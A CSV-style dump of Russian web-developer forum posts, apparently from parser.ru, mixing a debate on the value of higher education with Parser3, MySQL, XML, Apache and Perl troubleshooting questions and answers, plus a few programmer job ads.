Подчеркнем слово \"[b]применить на практике[/b]\". Институтов у нас как собак..., однако это не значит, что все из них одинаково плохи. Кроме того, обучение в институте подразумевает 70% самостоятельной работы, т.е. вас никто не [i]должен учить[/i].\
\
Я учился на \"Прикладной математике\", и у нас, из 25-30 человек (5 отсеялось в процессе) по \"профилю\", т.е. занимается программированием и математикой успешно работает только половина (а то и треть). Причина проста - остальным это нафиг не нужно. Однако, говоря о тех, кто все-таки работает в своей сфере, то им образование (точнее сказать, учеба, время проведенное в институте) дало очень многое.\
\
Можно, конечно, получить тот же объем знаний (и даже больше) самостоятельно, однако, академическая среда дает больше возможности для общения/обмена опытом.\
\
Хотя, я, возможно, немного идиализирую ситуацию."
"55677","[quot]\
Никто и никогда вас в институте ни чему не научит.\
[/quot]\
\
в общем случае [b]никто вообще[/b] не может вас научить. если человек хочет - он сам научится и только сам. а инстутут тут очень хорошо помогает.\
\
нет, он не способствует лучшему усвоению предмета, он учит другому: он [b]учит учиться[/b]. \
\
по своему опыту общения с людьми: подавляющее большинство тех, кто имеет высшее образование (даже те, кто в институте на одни тройки учился) - имеют больший кругозор и значительно быстрее могут научиться новому (это не истина, это всего лишь мое мнение).\
\
по поводу корочки: среди близких мне людей были случаи, когда отсутствие корочки сильно мешало. правда там не шла речь о корочке определенного профиля..."
"55679","В некоторых закладках кнопка есть, а в некоторых её нет.\
Есть только кнопка \"в закладки\"."
"55682","а поподробней о поводе?"
"55687","Не нашел ничего про $mail:received в докумнтации. Подскажите, где можно прочитать?"
"55689","моно не из parsera. хоть как нибудь."
"55690","Залил, протестил скрипт адресом: http://www.my_domen.com/cgi-bin/parser3.cgi\
ответ : Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\
но страницы перестали открываться, а в директории /cgi-bin/ появился файл - parser3.cgi.core размером 1511424 б и с атрибутами 600\
Сервер в логах написал: Premature end of script headers: /home/my_domen/public_html/cgi-bin/parser3.cgi\
Что бы это значило?"
"55693","я тут покопал неного и обнаружил, что моя версия parsera \"parser 1.0 (168sp6-MySQL build)\" , мне аж плохо стало. :))))\
а есть документация по первому парсеру? а то что то почта у меня по прежнему не работает. \
пытался третий парсер подрубить, ошибки поволили. я так понял не получится перейти на 3 парсер?(или второй)"
"55696","P.S. в результатах точного поиска всего 8 ссылок, по одной из них есть нужная информация."
"55697","а что значит sendmail reported error: UNKNOWN, #1] ?"
"55698","В файле index.html пишу:\
\
[code]\
^sendmail[from: support@parser.ru\
to: webmaster@parser.ru\
subject: 11111111!\
content-type: text/plain^; charset=\"koi8-r\"\
\
222222222\
]\
[/code]\
\
запускаю выводится ошибка: \
[sendmail reported error: UNKNOWN, #1] \
помогите мне, пожалуйята, разобраться."
"55699","parser2 ^-)"
"55700","все равно пока не придет тот кто может ответить на ваш вопрос - ничего не произойдет.\
\
P.S. а для начала попробуйте вписать ваши настоящие адреса (особенно обратный). некоторые провайдеры не позволяют отослать письмо с помощью sendmail если в поле from указан не ваш email/домен."
"55701","пока мы собираем предыдущим компилятором.\
при последнем переходе на VS2005 мы многое поправили.\
очевидно, при этом переходе на gcc-4.1.1-1.fc5\
надо тоже многое поправить.\
если у вас хватит сил, сделайте.\
не хватит, возьмите предыщущий компилятор и соберите им (необязательно на этом узле), узнайте у вашего админа тонкости, админы люди очень умные и могут подсказать."
"55702","это значит что на вашей площадке тамошнему sendmail что-то не нравится в отправляемом вами сообщении.\
что именно — неясно, поскольку код ошибки 1 не документирован в документации sendmail.\
\
вероятно, на данном хостинге используется не \"настоящий\" sendmail, а свой собственный, который только называется sendmail.\
что именно ему не нравится неясно (UNKNOWN) ещё и потому, что скрипт не соизволил напечатать в поток ошибок хотя бы коротенькое объяснение своему недовольству.\
\
вывод: проанализировать своё отправляемое сообщение, упростить его для начала до подобного тому, что написан в документации о ^sendmail[].\
если и так не заработает, то идти сдаваться (к админу) и просить его о помощи (посмотреть доступные ему одному журналы)."
"55703","Высшее образование для большого количества нанимателей сегодня это не показатель, но в некоторых очень интересных местах его наличие является обязательным, необсуждаемым, формальным требованием при приёме. \
\
Тем более вышка пригодиться, если планируешь когда-нибудь переехать туда, где платят в разы больше и не так страшно думать про завтрашний день (но опять же только как формальный параметр), так что степень это уже м... у всех аппетиты разные\
\
Сам не являюсь нанимателем, но неоднократно собеседовал людей. Почему-то стоит человеку начать трясти дипломом, особенно красным, так потом сразу оказывается, что он ни в зуб ногой (троих таких могу вспомнить). Но другие, т.е. более скромные обладатели красных корочек даже не оставляют необходимости спрашивать про диплом - человека сразу видно по его делам.\
\
Сам я имею диплом о неоконченном высшем, бумажечка без корочки, что однако не помешало мне занять вакансию, на которую так же претендовал один из моих бывших вузовских преподавателей. \
\
Учиться надо, если конечно есть у кого."
"55704","то есть есть xml, их которого я делаю xdoc\
<document xmlns:beta=\"http://www.w3.org/1999/beta\">\
...\
</document>\
\
и потом мне нужно убрать из него атрибут beta с пространством имен xmlns для элемента document, чтобы получилось\
\
<document>\
...\
</document>"
"55705","Это локальный комп, поэтому соберу на предыдущем компиляторе."
"55708","Ошибка имеет следующий вид:\
[b][Thu Sep 14 13:29:39 2006] [error] [client 127.0.0.1] /: d:/apache_swissknife/\\xf1\\xe0\\xe9\\xf2\\xfb/localhost01/html//classes/standard/sql/sql.p(76:10): 'mysql://****@localhost/parser' Can't connect to MySQL server on 'localhost' (10061) [sql.connect][/b]\
Не могу найти концов, почему не хочет \"дружить\" с БД.\
Пожалуйста, подскажите. Возможно, я немного не понимаю.\
Заранее огромное спасибо.\
___________________\
С уважением\
Игорь"
"55710","Спасибо.\
Действительно, вся проблема была в my.ini WINDOWS'а.\
Теперь всё работает, буду изучать и творить :)\
\
Спасибо :)"
"55714","Сейчас учусь в универе. далее имхо:\
\
1) *никто никому ничего не должен*\
2) захочешь - научат.. или по крайней мере покажут путь \
3) универ здоровски расширяет кругозор....\
\
а корочка мне даром не надо.. она нужна моим родителям %) типа отчёт о проделанной работе"
"55715","может и не надо ничего убирать.\
замечание: «xmlns:beta» это совсем не атрибут «beta» с пространством имён «xmlns».\
а совсем даже определение, что элемент <document и все элементы и атрибуты внутри него переключаются в пространство имён beta с указанным uri.\
соответственно, если вы в дальнейшем собираетесь преобразовывать этот документ, или искать в нём что-то, просто продолжайте указывать пространство имён. вам понравится.\
\
для поиска есть пример:\
http://www.parser.ru/docs/lang/xdocsearchns.htm\
для преобразований тоже есть в любой книжке по xsl."
"55716","пара ресурсов для сравнения perl и php:\
http://tnx.nl/php\
и\
http://shootout.alioth.debian.org/debian/benchmark.php?test=all&#9001;=perl&lang2=php\
\
для разработки под web: perl+mod_perl2+catalyst framework"
"55717","[code]@i[i;hash]\
^try{\
	$img[^image::measure[$i]]\
	^if(def $hash){\
		^if(!def $hash.alt){\
			^hash.add[$.alt[]]\
		}\
	}{\
		$hash[\
			$.alt[]\
		]\
	}\
	^img.html[$hash]\
}{\
	$exception.handled(1)\
	^switch[$exception.type]{\
		^case[file.access]{\
			<sup>Нет доступа к файлу</sup>\
		}\
		^case[file.missing]{\
			<sup>Файл не найден</sup>\
		}\
		^case[image.format]{\
			<sup>Неправильный формат файла</sup>\
		}\
		^case[DEFAULT]{\
			<sup>Ошибка</sup>\
		}\
	}\
}[/code]"
"55719","[code]@i[i;hash][img]\
$hash[^hash::create[$hash]]\
^try{\
	$img[^image::measure[$i]]\
	^img.html[^hash.union[$.alt[]]]\
}{\
	...\
}[/code]"
"55720","пинаю с хтмл странички ексеком цги-скрипт который должен выполнятся в фоновом режиме. в итоге страничка не открывается а наверно ждет пока отработает цги-скрипт. можно ли как-то сделать чтоб скрипт выполнялся себе в фоне а страничка загрузилась?"
"55721","Самый простой - запускать не сам скрипт, а еще один, промежуточный, который будет давать задание и посылать работу в бэкграунд.\
А вообще хотелось бы подробностей. Может оно Вам и не надо и существует изящное решение"
"55723","запускаю перл скрипт который пинает другой со значком & в конце.\
веб страничка все равно \"висит\". что можно еще придумать?"
"55724","По любезно предоставленой Sumo ссылке http://pf.proc.ru скачал долгожданную версию с сокетами.\
Залил его себе на работающий сайт.\
Там версия Parser/3.2.1sp2, заменил, протестил скрипт адресом: http://www.my_domen.com/cgi-bin/parser3.cgi\
ответ : Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)\
но страницы перестали открываться, а в директории /cgi-bin/ появился файл - parser3.cgi.core размером 1 511 424 б и с атрибутами 600\
Сервер в логах написал: Premature end of script headers: /home/my_domen/public_html/cgi-bin/parser3.cgi\
Что бы это значило?\
Спасибо."
"55725","1. Проверьте правильно ли заданы права на parser3.cgi\
2. Соберите из исходников на своей системе.\
3. Вы точно уверены, что на вашем сервере установлена FreeBSD 6.1?"
"55726","[quote]1. Проверьте правильно ли заданы права на parser3.cgi[/quote]\
Да, не в первый раз инсталю доступ 755\
[quote]2. Соберите из исходников на своей системе.[/quote]\
Не умею, не пробовал.... :)\
[quote]3. Вы точно уверены, что на вашем сервере установлена FreeBSD 6.1?[/quote]\
Да, уверен Вот строка с PHPinfo:\
System  FreeBSD h2.prohosting.com.ua 6.1-RELEASE-p3 FreeBSD 6.1-RELEASE-p3 #0: Mon Aug 14 21:03:54 EEST 2006 root@h11.prohosting.com.ua:/usr/obj/usr/src/sys/H i386\
А строка из логов - Premature end of script headers: /home/my_domen/public_html/cgi-bin/parser3.cgi не о чем не говорит?\
Я там в первом сообщении опечатался, у меня сейчас работает версия парсера 3.21, без sp2 они чем то в корне отличаются?"
"55728","у меня нет доступа к самому серваку, полько http и ftp"
"55730","А собрать самому из исходников очень трудоемкая процедура?\
Где прочесть весь этап можно?"
"55732","задача такая - в момент авторизации пользователя на сервере должен запускаться скрипт который будет контролировать пользователя и при выполнении каких-то условий менять его статус и отпралять каманды на сервере.\
\
из хтмл странички я запускаю\
[code]$ex[^file::exec[script1.cgi;;$user;$code]][/code]\
\
в скрипте script1.cgi запускаю в фоне script2.cgi\
[code]`ssh user@xx.xx.xx.xx /usr/bin/perl /scripts/script2.cgi $user $code &`;[/code]\
\
а в итоге при попытке авторизации страничка не загружается\
а ждет конца работы script2.cgi"
"55733","http://www.parser.ru/forum/?id=36238\
\
Если так, то [url=\"http://www.parser.ru/forum/?id=55725\"]см. п. 2[/url].\
\
Мы тогда воспользовались [url=\"http://www.parser.ru/forum/?id=37990\"]бинарником, собранным Егоровым[/url]. Но у вас другая история."
"55734","там всего процесса две строчки :)\
\
Кстати сказать, у меня версия по Red Hut местной сборки тоже в кору падает, так что уже давненько собираю сам."
"55736","сотрите, заработает, как задумывали."
"55737","[code]<xsl:template match=\"field\" [color=\"#ff0000\"]mode[/color]=\"form_hidden\">[/code]\
Че такое [color=\"#ff0000\"]mode[/color]?"
"55739","вот полностью код script1.cgi\
[code]#!/usr/bin/perl\
`ssh user@xx.xx.xx.xx /usr/bin/perl /scripts/script2.cgi $user $code &`;[/code]\
\
если убрать backsticks вообще не работает.\
пробовал запускать так\
[code]system(\"ssh user@xx.xx.xx.xx /usr/bin/perl /scripts/script2.cgi $user $code &\"); [/code]тоже самое происходит\
\
сделал по-другому. вместо пинания из script1 script2\
создаю в script1 сокет и передаю параметры еще одному скрипту который запускает script2 с этими параметрами. тогда работает как хотелось.\
а напрямую не получается."
"55741","& и системный вызов не нужны.\
\
Нужно сделать fork(), а в дочернем процессе сразу же закрыть STDOUT, STDIN и STDERR."
"55742","[code]\
Reading specs from /opt/gcc3/lib/gcc/i686-pc-linux-gnu/3.4.6/specs\
Configured with: ./gcc-3.4.6/configure --prefix=/opt/gcc3 --enable-shared --enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu --enable-languages=c,c++\
Thread model: posix\
gcc version 3.4.6\
[/code]"
"55744","в описании DOM2 есть метод:\
^узел.removeAttributeNS[namespaceURI;localName]\
\
и есть фрагмент xml:\
<document xmlns:beta=\"http://www.w3.org/1999/beta\">\
<img beta:version=\"0.1\" />\
</document>\
\
если я правильно понял, c контейнера img можно убрать атрибут beta:version с помощью:\
^node_img.removeAttributeNS[http://www.w3.org/1999/beta;version]\
\
получается:\
<document xmlns:beta=\"http://www.w3.org/1999/beta\">\
<img />\
</document>\
\
не удается по аналогии убрать атрибут xmlns:beta с помощью:\
^node_document.removeAttributeNS[http://www.w3.org/2000/xmlns;beta]"
"55749","По запросу парсер яндекс выдает тучу страниц. а если дописать 3 (получится парсер3) то все ОК"
"55753","На локалке скрипт без проблем экспортирует CSV ФАЙЛ В ТАБЛИЦУ а на сервере выдает Unhandled Exception The server encountered an unhandled exception and was unable to complete your request. \
Что это и как понимать"
"55754","/home/cpk74rux/public_html/about/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable\
==========================================\
Что это???"
"55755","Подсказка - её выдаёт вебсервер, а не Парсер."
"55756","[code]\
#!/bin/sh\
/usr/bin/perl -e \"print `ssh paf@host2 /usr/bin/perl -e 'print 2*2'`\"\
[/code]"
"55757","и правильно, что не удаётся.\
пожалуйста, перечитайте ответ. скажите в каком абзаце в каком предложении он неясен. скажите конкретно, что неясно."
"55758","Не работает команда \"+\""
"55759","Задача на первый взгляд простая - скачать страничку по адресу и записать её сорс в базу\
\
(Для наглядности пример упрощен до абсурда)\
\
[code]\
# скачиваем страницу по ссылке\
$page[^file::load[text;$href;$.timeout(30)]]\
\
# берем её содержимое\
$text[$page.text]\
\
# записываем в базу\
^void:sql{insert into pages (body) values ('$text')}\
[/code]\
\
Это все работает. Но задача стоит записать сорс в базу в [b]encoded[/b] виде, то есть gt; вместо > и так далее. Ну, есть такая потребность. \
\
[code]\
# скачиваем страницу по ссылке\
$page[^file::load[text;$href;$.timeout(30)]]\
\
# берем её содержимое\
$text[$page.text]\
\
# делаем преобразование\
[color=\"#ff0000\"]$text[^taint[html][$text]][/color]\
\
# записываем в базу\
^void:sql{insert into pages (body) values ('$text')}\
[/code]\
\
Тут мы падаем - енкоденный html вызывает ошибку в sql при выполнении - тот находит в нем какие-то нехорошие символы, как я понял, внутри закоментенных js-скриптов, там не дублируются апострофы после taint.\
\
Попробовал сделать два последовательных тейнта, но один похоже отменяет другой\
\
[code]\
$text[^taint[html][$text]]\
$text[^taint[sql][$text]]\
[/code]\
\
После такого html в базе не енкоденный.\
\
Подскажите пожалуйста, что я делаю не так, и как все-таки утрамбовать этот текст в базу, в енкоденном виде."
"55760","Делайте replace (всего-то 5 символов) и кладите в базу.\
\
Но вы уверены, что вам в базе нужен encoded?\
\
Ведь можно положить туда чистый HTML, а уже потом, после выборки из базы, превращать его в encoded (причем вообще без каких-либо телодвижений, просто $tSelectedData.page_source — автоматический taint в парсере). И места в базе будет меньше занимать и если вдруг понадобится оригинальный HTML — всегда готов."
"55761","[code]\
$page[^file::load[text;$href;$.timeout(30)]]\
$text[$page.text]\
$text[^taint[html][$text]]\
^void:sql{insert into pages (body) values ('^taint[sql][$text]')}\
[/code]\
\
P.S. Почему-то мне кажется что я написал тоже самое..)\
\
[b]UPD:[/b] И я не ошибся)"
"55762","люди объясните какие права на файлы надо выставлять что бы все работало\
=======================\
в дириктории сайта есть поддиректория/servise/в ней есть /texnika/(www.xxx.ru/servise/texnika/)в этой директории есть индековый файл в котором скрипт на парсер выдырающий таблицу из csv фала (который лежит www.xxx.ru/servise/prise/) при обращение к (www.xxx.ru/servise/texnika/) выдает \
======================\
Forbidden\
You don't have permission to access /servise/texnika/ on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\
========================\
\
На локальном сервере все работает отлично. Просто я в этих делах еще новичек. Объясните пожалуста какие права и на какие файлы надо выставить.\
\
Заранее спасибо!!!"
"55764","Запросите полный путь (включая index.html или что там у вас). Должно открыться.\
\
Затем прочтите в документации к Апачу про директиву DirectoryIndex. Задайте нужное значение в .htaccess. Будет вам счастье."
"55765","при запросе /servise/texnika/index.html вылазиет вот что\
============================\
Forbidden\
You don't have permission to access /servise/texnika/index.html on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\
====================================\
\
Причем такая дрянь вылазиет только на тех дирикториях где скрипт обращается к файлу csv (т.е считывает из него инфу) а в остальных дирикториях все нормально и в апаче прописано открывать по умолчанию index.html"
"55767","c 403 разобрался (права на дир не правильные стояли) но теперь при вызове страници в которой скрипт выдирает из csv инфу ругается\
======================\
Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
========================\
\
\
вот чясть кода \
===============\
$sections[^table::load[/sklad/prise/truba_(gaz,neft).csv ;$.separator[^;] ]]\
================"
"55769","/home/cpk74rux/public_html/sklad/prise/truba_(gaz,neft).csv \
\
read failed: No such file or directory (2), actual filename '/home/cpk74rux/public_html/sklad/prise/truba_(gaz,neft).csv '"
"55772","т.к. taint/untaint не приводят к преобразованиям символов в месте их применения. если вы сделали ^taint[html][] и затем ^taint[sql][] - то от 'html' ничего не останется.\
\
т.е. решить эту задачу можно только ручными замненами символов, как предлагает R. Averkov.\
\
но ещё лучше, как предлагает он-же не делать никаких замен, и поместить данные в БД как есть (^taint[sql][]), а делать что либо с ними при выводе.\
\
если вы опишите задачу целиком, может вам что ещё посоветуют."
"55774","[b]Пишем:[/b]\
Посмотрите внимательно на свой путь:\
'/home/public_html/sklad/prise/truba_(gaz,neft)[marked].csv [/marked]'\
У вашего файла такое расширение?\
\
[b]Получаем:[/b]\
Посмотрите внимательно на свой путь:\
'/home/public_html/sklad/prise/truba_(gaz,neft)<span style=\"background: #99D228\">.csv </span>'\
У вашего файла такое расширение?\
\
Причем сделать так, чтобы он как и B работал внутри CODE. Код на фоне парсерного зеленого нормально читается."
"55776","как правильно сделать?\
\
Ситуация такая: есть каталог с файлами, но доступ к ним должен быть только по авторизации. Просмотр файлов идет по описанию, которое хранится в БД, и если юзер авторизован, он может скачать этот файл. Как сделать так, чтобы файл не был доступен при прямом обращении к нему через адресную строку? Можно через реферер, но ведь юзер может просто отключить передачу этой переменной в браузере.\
\
Как быть?"
"55777","то необходимо внести в алгоритм еще один внешний источник.\
\
1. Делаем таинт раз\
[b]2.[/b] Сохраняем результат (файл, бд)\
[b]3.[/b] Загружаем результат\
4. Делаем таинт два\
5. Сохраняем результат\
\
Но это \"читерство какое-то %-)\" © Misha v.3 :-)"
"55778","+ Еще одна табличка, в которой связывание userId, uuid и файла. uuid, разумеется, уникально для каждой пары userId-файл."
"55780","или я чего-то недопонимаю. Формировать уникальный ури - это понятно. Но КАК мне не дать доступа к файлу напрямую через адресную строку? Пробовал закрывать через .htaccess - так потом и сам парсер их не видит.\
\
пример:\
\
есть файл: /media/43/12.jpg . Изменять и делать уникальным ури мне не нужно, мне просто нужно, чтобы доступ к этому файлу имел только авторизованый пользователь. Чтобы человек, набрав в адресной строке www.mysite.ru/media/43/12.jpg не смог просмотреть рисунок в браузере."
"55781","Здраствуйте перечтал докуметауию 3 раза но не нашол примера кода для загрузки файла с локального диска на сервер кому не трудно напишите или ткните пальцем где это в документации!!"
"55782","Парсер умеет читать [/../media/], а браузеры — нет."
"55783","В .htaccess mod_rewrite'oм перенаправляете все запросы на файл(ы) на какой-нибудь html документ, а нем проверяете переменную окружения USER_NAME. Если залогинен - отдаете file:download, если не залогинен - соответствующее сообщение."
"55787","как я ни пытался - не смог заставить работать мод_рирайт. Постоянно какие-то ошибки. Учить технологию на данный момент времени нет, так то пока спрячу каталог вне веб-пространства."
"55788",".htaccess:\
[code]\
	RewriteEngine On\
	RewriteCond %{QUERY_STRING} !=mmm\
	RewriteRule ^file.zip$ file.html [L,QSA]\
[/code]\
\
file.html:\
[code]\
	^if($env:USER_AGENT eq 'vasya'){\
		$response:location[/file.zip?mmm]\
	}{\
		$response:body[stop.piracy]\
	}\
[/code]"
"55794","У меня есть скрипт который выводит простую формочку , состоящую из\
одного поля (или двух) и кнопку сабмита...\
как грамотнее будет , \
передавать тег\
<add_atr_form/>\
и потом заменять тег на форму или передавать в xml\
<input type=...../>\
???"
"55796","имеем атрибут который храниться в базе :Входной сигнал\
Значение :\
- импульсы 2-х полупериодного выпрямленного синусоидального напряжения (24±6) В с непрерывным изменением скважности;\
\
- изменение состояния бесконтактных ключей.\
\
Мне порекомендовали для поиска в базе использовать ispell\
Вопрос - как? :)"
"55798","Если всем рулите через шаблоны - первое, если формы будет набивать другой человек в админке - второе."
"55799","На самом деле, конечно, это отнюдь не архиважная фича, которую срочно-сегодня следует имплементировать."
"55800","это я к тому, что всё равно придется акцентировать внимание на пробеле словами, в этом случае добавление [mark/] мне не видится решением.\
\
хотя добавить его совсем несложно."
"55802","необходимо лишь передать правильный заголовок )"
"55803","Студии требуется программист на парсере.Задачи, доработка нашей системы управления сайтом. Удаленка не рассматривается.\
\
От вас - знание парсера, свежие мозги, желание обучаться.\
\
От нас - заработная плата 700 USD, удобный график с 11 до 19, уютный офис в центре города, чай кофе и дружный молодой коллектив.\
 \
Резюме на nik(дог)smartlab.spb.ru\
или аська 87187100"
"55804","Все стабильно работает, затем в мгновение ока, ни с того, ни с сего появляется ошибка: [b]got error 127 from table handler[/b].\
\
Исправляю её заменой нечитаемых таблиц. Через какое-то время все повторяется. С чем это связано?"
"55806","берёте ispell\
\
берёте русский словарь (их много, какой лучше подойдёт поймёте экспериментом)\
\
берёте искомое слово, напускаете на него ispell, получаете все словоформы.\
\
берёте поисковый sql запрос, сочиняете премерзкий like, отдаёте пожевать базе.\
\
работать будет долго, но по слову \"напряжение\" это значение найдёт.\
\
\
другой вариант: в pgsql есть pluggable функции.\
возможно, кто-то интегрировал ispell прямо внутрь pgsql, чтобы делать описанное на ходу.\
если так, возможно, имелось в виду именно это.\
\
ещё можно поискать в yandex слово \"гадалка\", на maps напечатать карту и сходить."
"55807","грамотный администратор — незаменимый человек.\
мы тут в форуме собрались по большинству прикладные программисты.\
\
если вы имеете возможность, посоветуйтесь с грамотным администратором. если нет, задайте вопрос в том месте, где они бывают (не тут).\
\
если будет не лень, потом продублируйте сюда его ответ.\
\
хороший администратор = залог успеха."
"55808","разве sql не идет рука об руку с parser'ом?"
"55811","Возможны варианты удаленной работы."
"55813","Но это же не повод писать на форум Hewlett-packard или Интел о ваших проблемах с MySQL ;-)\
\
Степень близости такая-же..."
"55814","Все контакты в профайле пользователя - это первый тест на сообразительность. Вы его явно не прошли!"
"55815","сыпется винчестер.\
\
Временная мера - перед каждым запросом делайте void-запрос[code]REPAIR TABLE вашатаблица1, вашатаблица2 ... вашатаблицаXX[/code]Потом сделайте полный бэкап ваших данных и линяйте к другому провайдеру.\
\
Если ваш текущий провайдер не способен даже набрать банальное myisamchk --silent --force */*.MYI вы с ним каши не сварите.\
\
Дополнительное чтение: http://xpoint.ru/forums/computers/dbms/mysql/thread/32893.xhtml"
"55816","Но, во-первых, контакты общие, к кому лично обращаться — не ясно. И во-вторых, описания вакансии на сайте Вашей студии нету. И новость последняя датирована аж 30 июня. Из чего вполне можно сделать вывод, что работы не так много, а следовательно, оплата не очень высокая. Предлагать каждому писать письмо с просьбой рассказать подробнее о вакансии — не гуманно."
"55817","Файлы все на месте, код на месте, все отлично. Только при запросе из браузера вижу чистый лист, код — пустой. Сначала думал проблема локальная, виноват мой компьютер. Но проблема повторилась за другими компьютерами нашей подсети и даже из других городов. Хостер говорит, что ничего не менялось и все должно работать, мол, ваш косяк."
"55818","в нормальных условиях такого быть не должно. проблемы с железом/os. если хостер такое позволяет, и подобное проявляется систематически - срочно валить от него. если сервер свой - пришло время проверять железо, покупать нормальный UPS и нанимать админа."
"55822","Обязательное владение Parser 3, SQL, XSLT.\
Знание JavaScript приветствуется.\
Уверенное понимание ООП, наследования.\
Опыт веб-программирования не менее двух лет.\
Безболезненное принятие стандартов кодирования.\
\
Работа в Москве, в районе м. Дмитровская.\
График работы: с 11:00 до 19:00.\
Заработная плата — 1500 $\
Тестовый срок в один месяц с полной зарплатой.\
\
Обязательно прохождение [url=\"http://coder.groundzero.ru/\"]тестового задания[/url].\
Приветствуются примеры кода.\
\
Новичков, вчера закончивших третий урок, и ярых сторонников php просим не беспокоить."
"55823","Начинаю изучать Parser в связке с Denwer.\
Файлы лежат в папке home\\localhost\\www\\mysite\
Возникла такая проблема:\
1.Если я прописываю uri как / в section.cfg ссылка ведет на http://localhost/\
Если я приписываю поле uri оставляю пустым ссылка ведет на http://localhost/mysite/ (т.е. как надо)\
Но при следующем сравнении:\
[code]if($sections.uri eq $request:uri)[/code]\
$sections.uri = '',  а $request:uri = /mysite/\
Как то не хочется приписывать uri адрес сайта... \
Можно ли это дело одолеть?\
\
2.Я создаю папку 'folder' и создаю для нее запись в sections.cfg. Появляется ссылка на эту папку, и вот когда я кликаю на эту ссылку дважды url принимает вид  http://localhost/mysite/folder/folder/. Ссылка на файл повторяется дважды. Как это победить?\
Заранее благодарен."
"55824","\"плоды\" идут после \"ягод\", а \"арбуз\" перед \"дыня\"\
[quote]Сортировка по имени в порядке убывания[/quote]"
"55825","Сейчас всё верно."
"55826","любопытно, каков HTTP status ответов и каков именно размер ответов.\
это есть в access_log.\
ну и error_log не последнее место.\
\
из абстрактного: уменьшили объём допустимой для скрипта памяти, или аппетиты скрипта возрасли, и памяти стало не хватать.\
скрипт при этом будет падать в 500 ошибку, а дальше, теоретически, поведение сервера может быть настроено так, что посетители видят \"пусто\"."
"55828","Положите файлы в папку home\\mysite\\www\\ и перезапустите Денвер. Теперь к сайту можно обращаться как http://mysite/"
"55829","Действительно, все работает! Огромное спасибо :)"
"55831","Сабж. Необходимо переписать(исправить ошибки) уже существующий сайт и добавить кое-какие нововведения, доработать админку.\
\
ICQ:26403786, ok@racewars.ru сайт www.racewars.ru"
"55832","Детали на мыло [sepeda [a] mail.ru ]\
или в тред"
"55833","вот надо из \"http://tagstudio.ru/about%20us/\" сделать \"http://tagstudio.ru/about us/\", только не могу найти в парсере такую функцию."
"55834","тем кто использует парсер обычно такая функция не требуется (разбором url, полученного в $form, тут обычно занимаются после работы ModRewrite, когда парсер всю требуемую вам работу уже сделал сам).\
\
хотя в некоторых случаях бывает нужна. однако для известной вам кодировки написать таблицу замен для replace - дело не хитрое."
"55835","Да у меня есть эта функция, у меня в голове анология что пхп и парсер занимаются одим и тем же. Странно... Искал час."
"55839","http://www.parser.ru/download/redhat/\
у меня на пятой федоре все отлично заработало"
"55841","А занимаются они, Вы правы, одним и тем же.\
Но это не означает, что то, что умеет PHP будет уметь и парсер. И наоборот."
"55842","У меня есть класс (search.p), осуществляющий поиск в БД.\
Он получает некие параметры поиска, а результатом работы его является XML.\
\
Проблема в том, что помимо XML мне нужно ещё кое-что.\
Например, нужно знать сколько записей найдено. Причём знать это нужно не внутри search.p, а в том классе, который его вызвал.  Какие варианты пришли в голову:\
[i]1) Обратиться непосредственно к полям класса search.p[/i]\
Но делать так не рекомендуется в документации.\
[i]2) Отдать эту информацию внутри того же самого XML.[/i]\
Но тогда придётся его парсить... Вариант бредовый.\
[i]3) Отдавать не XML, а хеш, который будет содержать нужные параметры + XML.[/i]\
\
Вот я и не знаю как лучше поступить.\
Подскажите, пожалуйста!\
Может быть есть какие-нибудь ещё способы, может есть подводные камни, о которых я не подумал..."
"55844","Вот с удовольствием прочитал второй урок. Но в нем есть один подводный камень (может и больше, кто знает:). Проблема в следущей строчке:\
^if($sections.uri eq $request:uri)\
Она предпологает, что строка из файла sections.cfg, пройдя через url кодирование останется прежней. По сути это неверное предположение. Тоесть у меня был раздел \"about us\", а потом он стал выглядить как \"about%20us\", соответсвенно мы попали не в ту ветку if. \
Решение простое, вот:\
^if($sections.uri eq ^UrlDecode[$request:uri]){\
Только нет такой функции в parser! Ну да ладно пишем, что-нибудь вроде:\
@UrlDecode[EncodedStr]\
$rep[^table::create{from	to\
%20	 }]\
$result[^EncodedStr.replace[$rep]]\
Где потихньку вставляем все нужные нам символы.\
ЗЫ Я не нашел этой функции реализованной на этом форуме, если кто ткнет носом, буду благодарен. Надеюсь что это кому-нибудь поможет."
"55847","у меня подобной проблемы с поисками не бывает.\
дело в том, что результатов поиска может оказаться много. в этом случае нужно делать постраничную разбивку, и доставать все найденные записи не нужно.\
\
поэтому я сначала делаю запрос: а сколько у меня есть записей с такими-то параметрами?\
\
получаю ответ - число. принимаю решение, буду ли я доставать все записи или нет, и только после этого делаю сам поисковый запрос, вказывая limit+offset если надо.\
\
т.е. в моем случае я вызываю два метода по очереди.\
\
\
если забыть про поиск, то в случаях, когда метод должен вернуть несколько наборов данных (что само по себе не очень хорошо), я возвращаю хеш."
"55848","[code]\
@CLASS\
Search1\
\
@create[p_hParams]\
$m_hParams[$p_hParams]\
\
@execute[]\
#основной результат не выдаём,\
$result[]\
#а используя $m_hParams.field1, .field2, .field3\
#делаем поиск и результаты складываем по полям\
$XML[сюда,]\
$result2[сюда]\
$result3[и сюда]\
[/code]\
\
используем так:\
[code]\
$search[^Search1::create[$.text[крепкие носки]]]\
^search.execute[]\
$search.XML\
$search.result2\
$search.result3\
[/code]"
"55849","Чем придется заниматься? Есть ли удаленная работа?"
"55850","Тем более в форуме не раз были сообщения о том, что иногда Парсер падает в core."
"55853","А изспользование пробелов избежать нельзя? \
может это намного проще?"
"55854","А как можно написать about us или contact us без пробелов?"
"55858","Заниматься нужно будет написанием классов и разработкой структуры таблиц для работы с древовидными структурами.\
Каталоги, иерархия классификации и т.п.\
\
Генерация xml-данных на основе БД по запросам.\
\
Административное управление данными класса.\
\
Возможно, по мелочи, написание/корректировка xsl-шаблонов, оптимизация иерархии классов, структуры базы, запросов.\
\
Удалённой работы нет.\
Необходимо являться в офис и вести бурные дискуссии о сущности мира вцелом и отдельных веб-проектов в частности.\
\
Если присутсвует готовность самостоятельно переехать в Москву - милости просим."
"55860","Если помимо необходимости получения выходных данных может возникнуть необходимость получения входных данных класса, промежуточных состояний его работы и прочего, то лучше приготовить пачку методов, которые будут отдавать нужные данные.\
\
